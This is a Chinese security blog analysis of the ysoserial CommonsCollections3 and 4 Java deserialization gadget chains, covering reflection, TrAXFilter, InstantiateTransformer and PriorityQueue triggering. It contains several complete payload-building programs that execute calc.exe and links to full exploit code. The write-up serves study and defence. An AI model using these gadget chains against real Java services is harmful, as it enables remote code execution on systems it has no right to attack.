ysoserial CommonsCollections3/4 详细分析-安全KER

ysoserial 工具的CC3和CC4链是CC1和CC2 链的扩展链，触发过程与前两个链大致相同，主要是命令执行部分有所变化。借着这两个链的学习，巩固下前面两个链的构造和利用思路。

0x01 前置知识

0x1 反射执行构造函数

假设有一个有参构造和无参构造方法的Person类

public class Person {
    private String name;
    public  Person(){

    }
    public  Person(String name){
        this.name = name;
    }
    public static void main(String[] args) {

    }
}

1. 无参构造函数

Class.newInstance()

Person p = new Person();
Person p = Person.class.newInstance();

利用getMethod和invoke方法调用

Class person = Person.class;
Class personClass = person.getClass();
Method method = personClass.getMethod("newInstance",new Class[]{});
Person c = (Person) method.invoke(person,
    new Object[]{});

2. 有参构造函数

Constructor.newInstance()

Person p = new Person();
Constructor cons = Person.class.getConstructor(String.class);
Person p = cons.newInstance("xxx");

利用getMethod和invoke方法调用

Class person = Person.class;
Class personClass = person.getClass();
Method method = personClass.getMethod("getConstructor",new Class[]{Class[].class});
Constructor c = (Constructor) method.invoke(person,new Object[]{new Class[]{String.class}});

Class cons = c.getClass();
Method method1 = cons.getMethod("newInstance", new Class[]{Object[].class});
Person p = (Person) method1.invoke(c,new Object[]{new Object[]{"xxx"}});

System.out.println(p.GetName());

0x2 利用反射修改变量

反射的好处是即使是私有变量，也可以通过反射获取并修改，方法如下：

Person p = new Person("xxx");
Field com = p.getClass().getDeclaredField("name");
com.setAccessible(true);
com.set(p,"tom");
System.out.println(p.GetName());

需要设这变量的访问权限，把权限改成public，调用set 方法修改其内容

0x02 CommonsCollections3 分析

在分析过前两个链之后，CC3就显得没那么困难了，主要引入了TrAXFilter这个类在初始化的时候调用了newTransformer方法，从而触发加载构造好的字节码，完成命令执行。一些前置知识在 https://www.anquanke.com/post/id/230788 文章中已经提到，打算从命令执行链和调用链构造这两个方面进行分析。

0x1 命令执行链分析

该链针对的版本是 commons-collections:3.1 ，命令执行部分改造的CC2的利用方式。CC2链是利用InvokerTransformer 类调用的templates中的newTransformer方法。而作者构造的CC3链采用了TrAXFilter这个新的类，但我们也可以用之前CC2链中的命令执行方法。下面分析下这两个利用

1. 延续CC2命令执行

InvokerTransformer 类可以调用任意对象的任意方法，这个天然的利用条件在 commons-collections:4.4 中被修补。所以目前还是只能在3版本运行

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templatesImpl),
new InvokerTransformer("newTransformer", new Class[0], new Object[0])
};

在调用 InvokerTransformer 类执行 newTransformer 方法的时候不需要再将其伪装成其他的函数，因为它本身在反序列化之前是没有被调用过的，这点不像Queue会在对象添加的时候触发比较器类。

因为templatesImpl 实现了Serializable接口，因此可以通过对象的形式存在，最后将会被反序列化成二进制存储格式。

2. 利用TrAXFilter触发命令执行

InvokerTransformer 类可以调用 newTransformer 方法，那么是否存在一个类可以直接调用这个方法呢？作者就在CC3链中展示这个类。

TrAXFilter 的构造方法中存在这样的代码，会调用参数中传递过来的对象的newTransformer 方法，如果我们把templates当做该类的构造参数，那么就能完成利用

这时还存在着一个问题，没有形成完整的命令执行链，怎样才能触发TrAXFilter的构造方法呢？这里有两种方式触发

方法一

因为是在commons-collections:3.1中的利用，所以可以继续时候用InvokerTransformer 类进行构造

final Transformer[] transformers = new Transformer[] {    
new ConstantTransformer(TrAXFilter.class),
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{Templates.class}}),
new InvokerTransformer("newInstance", new Class[] {Object[].class }, new Object[] {new Object[]{templatesImpl}),};

需要明确的是 getConstructor 的参数类型，要通过getMethod方法获取该方法对象

Class<?>... parameterTypes 为Class数组

getMethod 在调用的时候第二个参数可以是单个元素也可是数组元素，InvokerTransformer方法默认采用了第二种方式。

所以在构造的时候 new Class[]{}和new Object[]{} 都是必须要带的，而里面的内容才是要生产方法对象的真正参数。Class[].class 就是Class数组类型， Object[].class 是Object数组类型。

方法二

该方法引入了新的类，InstantiateTransformer 也是同时实现Transformer和Serialzable 的类，用它的目的是transform函数会调用getConstructor 方法和执行newInstance函数创建实例

通过该transform方法就可实现方法一中的一大堆操作，最后可以简化为以下代码

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templatesImpl }
        )
};

简答描述为 InstantiateTransformer 在 transform函数调用时会通过反射执行其传递的参数class类的有参构造函数。

0x2 反序列化链分析

整个链的分析可以参考 https://www.anquanke.com/post/id/230788#h2-5

完整调用链如下

/*
Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                               TrAXFilter.TrAXFilter()
                               ...
                               exec()

Requires:
    commons-collections
 */

采用CC1中的调用关系图，修改了命令执行部分

0x3 Payload构造

在第二小节已经把命令执行部分的三种方式通过代码实现了。Payload构造部分只需要将之前的代码调用链拼接在一起就可以了。

 public static void main(String[] args) throws Exception{
        final Object templates = createTemplatesImpl("calc.exe");
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[] { Templates.class },
                new Object[] { templates }
            )
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        final Map testMap = new HashMap();

        Map evilMap = (Map) Proxy.newProxyInstance(
            testMap.getClass().getClassLoader(),
            testMap.getClass().getInterfaces(),
            secondInvocationHandler
        );
        final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
        byte[] serializeData=serialize(handler);
        unserialize(serializeData);
    }

这个是主函数代码，完整代码在 https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc3.java

0x03 CommonsCollections4 分析

CC4 链的命令执行采用的CC3的技术，触发部分还是沿用CC2中的结构。因此分析到这，CC4应该是前四个链中最容易理解的了。命令执行部分参照上节的分析，简单介绍下调用链和Payload编写方法。

0x1 调用链分析

触发点是 PriorityQueue 里的比较器compare方法，之后又调用了transformer方法

具体调用可以参考CC2分析的那篇文章，下面是调用链

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
        ...
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InstantiateTransformer.transform()
                        TrAXFilter.TrAXFilter()
                            ...
                                exec()

整个触发链没有什么难理解的，可以归结为下图调用逻辑。

0x2 Payload 编写方法

ysoserial 中的利用方法很有艺术感，用到了两处伪装和属性变换
将paramTypes和args设置为正常的字符串类型和字符串值

1. 伪装

伪装比较器的第一个Transformer元素

ConstantTransformer constant = new ConstantTransformer(String.class);
...
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);

在queue执行add方法后将 ConstantTransformer中的iConstant变量改为TrAXFilter.class

第二个伪装在

这里伪装的原因也是和简单的，在CC2 那篇文章里已经说过了，这里再唠叨两句，queue在使用add方法添加元素的时候会触发比较器进行比较，如果这里运用了正常的payload，那么将会在这里的触发命令执行，程序将会在反序列化之前终止。

因此要进行一次伪装，那么为什么要添加两个元素呢，其实在之前CC2的分析中也有涉及到，因为在queue反序列化的时候会把每个元素读取出来，并且执行到heapify函数，如果此时元素数为零就不会触发该链，因此只能这么设计

采用以下方法修改queue的两个元素

paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
paramTypes[0] = Templates.class;
args[0] = templates;

首先运用getDeclaredField方法获取到对象的iParamTypes和iArgs属性，之后直接给这两个属性赋值，即可完成替换。

2. 手动构造

看过ysoserial封装好的代码后，根据自己的理解自己手动构造功能类似的payload，这里从参考了其他师傅的构造方式，写出了两版利用代码

public static void main(String[]  args) throws Exception {
        final Object templates = createTemplatesImpl("calc.exe");
        // mock method name until armed
        ConstantTransformer constant = new ConstantTransformer( TrAXFilter.class);
        Class[] paramTypes = new Class[] { Templates.class };
        Object[] argsv = new Object[] { templates };
        InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, argsv);
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2);
        queue.add(1);
        queue.add(1);
        TransformingComparator transCom = new TransformingComparator(chain);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);

        byte[] serializeData=serialize(queue);
        unserialize(serializeData);
    }

这一版的代码很巧妙，学习了tr1ple师傅的方法，这样只需伪装一步就可以实现绕过queue的add方法的触发利用链。在添加完元素后再利用反射动态添加比较器 comparator，这样就避免修改元素较多的instantiate对象

ysoserial 采用的修改instantiate对象中的属性和ConstantTransformer中的属性

 public static void main(String[]  args) throws Exception {
        final Object templates = createTemplatesImpl("calc.exe");
        // mock method name until armed
        ConstantTransformer constant = new ConstantTransformer(String.class);
        Class[] paramTypes = new Class[] { String.class };
        Object[] argsv = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, argsv);
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(chain));
        // stub data for replacement later
        queue.add(1);
        queue.add(1);
        Field com = instantiate.getClass().getDeclaredField("iParamTypes");
        com.setAccessible(true);
        com.set(instantiate,new Class[] { Templates.class });

        Field com1 = instantiate.getClass().getDeclaredField("iArgs");
        com1.setAccessible(true);
        com1.set(instantiate,new Object[] { templates });
        // switch method called by comparator
        setFieldValue(constant, "iConstant", TrAXFilter.class);
        byte[] serializeData=serialize(queue);
        unserialize(serializeData);
    }

在执行add方法后，将instantiate对象的iParamTypes和iArgs赋值构造好的变量，并把ConstantTransformer对象中的iConstant变量设置为TrAXFilter.class，以此完成最后的利用。

将完整版的代码上传至github

https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc4-1.java
https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc4-2.java

0x04 总结

分析过这两个链后，感悟就又不一样了，主要有以下几个方面：

0x1 为什么有这两个链

CC3 只有命令部分是比较新颖的，使用的是TrAXFilter类配合插入恶意字节码的templates进行命令执行，但值得注意的是这个新的命令执行可以做到各个commons-collections版本通杀，以至于在CC4 也在使用这个触发方式。那么可以这么说CC3和CC4存在的意义就在于运用这个命令执行方式，以至于前面的触发链和CC1、CC2几乎一样。

0x2 命令执行方式是多样化的

在分析CC3的命令执行方式时，介绍了三种相似的利用姿势，但其核心都是利用插入恶意字节码的templates进行命令执行，从这一点来讲都是一样的，不一样的点是怎么触犯templates的newTransformer方法。这三种方式分别是

通过 InvokerTransformer 执行 newTransformer
通过invoke的方式调用 TrAXFilter.class 的getConstructor，newInstance完成有参实例的初始化
利用InstantiateTransformer 直接完成TrAXFilter的实例构建

0x3 反射真的很重要

在反序列化利用的过程中处处都有遇到反射，反射调用方法链，反射获取对象变量，反射动态修改对象变量。反射的概念有与Class类有着很大的关联，Class对象是保存类的基础信息的对象，在本文的命令执行方式分析中，用到了很多反射的姿势，有兴趣的小伙伴可以好好研究下。

0x05 参考文章

https://www.anquanke.com/post/id/230788
https://www.cnblogs.com/tr1ple/p/12404108.html

ysoserial CommonsCollections3/4 详细分析

译文声明

0x01 前置知识

0x1 反射执行构造函数

0x2 利用反射修改变量

0x02 CommonsCollections3 分析

0x1 命令执行链分析

0x2 反序列化链分析

0x3 Payload构造

0x03 CommonsCollections4 分析

0x1 调用链分析

0x2 Payload 编写方法

0x04 总结

0x1 为什么有这两个链

0x2 命令执行方式是多样化的

0x3 反射真的很重要

0x05 参考文章

发表评论

TA的文章

Tomcat 内存马技术分析（一）—— Filter型

Tomcat回显技术学习汇总

CVE-2021-42287/CVE-2021-42278 Windows域提权漏洞分析

Java安全——JVM类加载器

Apache Log4j2 远程代码执行漏洞分析

相关文章

主机安全技术剖析-手把手教会你防御Java内存马

初识Java反序列化

Java内存马攻防实战——攻击基础篇

java安全-02RMI

SpringCloud Function SpEL漏洞环境搭建+漏洞复现

Java安全-01反射

利用Java反射实现加密型webshell的免杀

热门推荐